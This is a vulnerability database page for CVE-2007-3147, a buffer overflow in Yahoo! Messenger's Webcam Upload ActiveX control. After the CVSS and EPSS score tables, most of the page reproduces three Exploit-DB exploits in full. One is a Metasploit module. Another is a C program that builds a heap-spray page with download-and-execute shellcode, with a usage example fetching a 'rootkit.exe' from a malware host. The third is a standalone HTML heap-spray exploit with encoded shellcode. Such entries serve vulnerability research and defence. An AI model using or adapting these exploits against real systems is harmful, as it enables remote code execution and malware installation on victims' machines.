CVE-2007-3147

CVE Descriptions

Buffer overflow in the Yahoo! Webcam Upload ActiveX control in ywcupl.dll 2.0.1.4 for Yahoo! Messenger 8.1.0.249 allows remote attackers to execute arbitrary code via a long server property value to the send method. NOTE: some of these details are obtained from third party information.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	76.48%	–	–
2023-03-12	–	–	–	92.71%	–
2023-05-14	–	–	–	93.73%	–
2023-06-18	–	–	–	93.15%	–
2024-02-04	–	–	–	94.02%	–
2024-03-10	–	–	–	93.83%	–
2024-04-14	–	–	–	93.76%	–
2024-06-02	–	–	–	94.03%	–
2024-06-30	–	–	–	95.01%	–
2024-12-22	–	–	–	86.69%	–
2025-01-19	–	–	–	86.69%	–
2025-03-18	–	–	–	–	58.5%
2025-03-18	–	–	–	–	58.5,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	99%
2023-03-12	98%
2023-05-14	99%
2023-06-18	99%
2024-02-04	99%
2024-03-10	99%
2024-04-14	99%
2024-06-02	99%
2024-06-30	99%
2024-12-22	99%
2025-01-19	99%
2025-03-18	98%
2025-03-18	98%

Exploit information

Exploit Database EDB-ID : 16519

Publication date : 2010-06-14 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: yahoomessenger_server.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249. By sending a overly long string to the "Server()" method, and then calling the "Send()" method, an attacker may be able to execute arbitrary code. Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp" yield for the best results. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 9525 $', 'References' => [ [ 'CVE', '2007-3147' ], [ 'OSVDB', '37082' ], [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-June/063817.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ], [ 'Windows 2000 Pro English All', { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ] ], 'DisclosureDate' => 'Jun 5 2007', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer sploit = rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500) # Build out the message content = %Q|<html> <object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='#{vname}'></object> <script language='javascript'> #{strname} = new String('#{sploit}') #{vname}.server = #{strname} #{vname}.send() </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end

Exploit Database EDB-ID : 4053

Publication date : 2007-06-07 22h00 +00:00
Author : Excepti0n
EDB Verified : Yes

/* Compile in LCC-win32 (Free!) Download and exec any file you like! Have Fun! */ #include <stdio.h> #include <string.h> #include <stdlib.h> char *file = "Click_here.html"; FILE *fp = NULL; unsigned char sc[] = "\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03" "\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74" "\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E" "\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03" "\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C" "\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40" "\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C" "\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC" "\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F" "\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB" "\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83" "\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF" "\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF"; char *url = NULL; unsigned char sc_2[] = "\x00\x98"; char * header = "<html>\n" "<object classid=\"clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277\" id='viewme'></object>\n" "<body>\n" "<SCRIPT language=\"javascript\">\n" "var shellcode = unescape(\"%u9090%u9090%u9090%u9090\" + \n"; char * footer = "\n\n" "bigblock = unescape(\"%u9090%u9090\");\n" "headersize = 20;\n" "slackspace = headersize+shellcode.length;\n" "while (bigblock.length<slackspace) bigblock+=bigblock;\n" "fillblock = bigblock.substring(0, slackspace);\n" "block = bigblock.substring(0, bigblock.length-slackspace);\n" "while(block.length+slackspace<0x40000) block = block+block+fillblock;\n" "memory = new Array();\n" "for (x=0; x<500; x++) memory[x] = block + shellcode;\n" "var buffer = '\\x0a';\n" "while (buffer.length < 5000) buffer+='\\x0a\\x0a\\x0a\\x0a';\n" "viewme.server = buffer;\n" "viewme.initialize();\n" "viewme.send();\n"; char * trigger_1 = "</script>\n" "</body>\n" "</html>\n"; // print unicode shellcode void PrintPayLoad(char *lpBuff, int buffsize) { int i; for(i=0;i<buffsize;i+=2) { if((i%16)==0) { if(i!=0) { printf("\"\n\""); fprintf(fp, "%s", "\" +\n\""); } else { printf("\""); fprintf(fp, "%s", "\""); } } printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]); fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]); } printf("\";\n"); fprintf(fp, "%s", "\");\n"); fflush(fp); } void main(int argc, char **argv) { unsigned char buf[1024] = {0}; int sc_len = 0; int n; if (argc < 2) { printf("\r\nYahoo 0day Ywcupl.dll ActiveX Exploit Download And Exec\n"); printf("link:http://research.eeye.com/html/advisories/upcoming/20070605.html\n"); printf("link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856 \n"); printf("link:http://secunia.com/advisories/25547/\n"); printf("greetz to Jambalaya for helping with this code\n"); printf("\r\nUsage: %s <URL> [htmlfile]\n", argv[0]); printf("\r\nE.g.: %s http://www.malwarehere.com/rootkit.exe exploit.html\r\n\n", argv[0]); printf("=-Excepti0n-=\n"); exit(1); } url = argv[1]; if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10) { printf("[-] Invalid url. Must start with 'http://','ftp://'\n"); return; } printf("[+] download url:%s\n", url); if(argc >=3) file = argv[2]; printf("[+] exploit file:%s\n", file); fp = fopen(file, "w"); if(!fp) { printf("[-] Open file error!\n"); return; } //build Exploit HTML File fprintf(fp, "%s", header); fflush(fp); memset(buf, 0, sizeof(buf)); sc_len = sizeof(sc)-1; memcpy(buf, sc, sc_len); memcpy(buf+sc_len, url, strlen(url)); sc_len += strlen(url); memcpy(buf+sc_len, sc_2, 1); sc_len += 1; PrintPayLoad((char *)buf, sc_len); fprintf(fp, "%s", footer); fflush(fp); fprintf(fp, "%s", trigger_1); fflush(fp); printf("[+] exploit write to %s success!\n", file); } // =-Excepti0n-= // milw0rm.com [2007-06-08]

Exploit Database EDB-ID : 4042

Publication date : 2007-06-06 22h00 +00:00
Author : Excepti0n
EDB Verified : Yes

<html>  <html> <object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='target'></object> <script> shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); bigblock = unescape("%u9090%u9090"); headersize = 20; slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<800; x++) memory[x] = block + shellcode; var buffer = '\x0a'; while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a'; target.server = buffer; target.initialize(); target.send(); </script> </html> sometimes 0a0a0a0a0a is not as good as 0d0d0d0d or 11111111 # milw0rm.com [2007-06-07]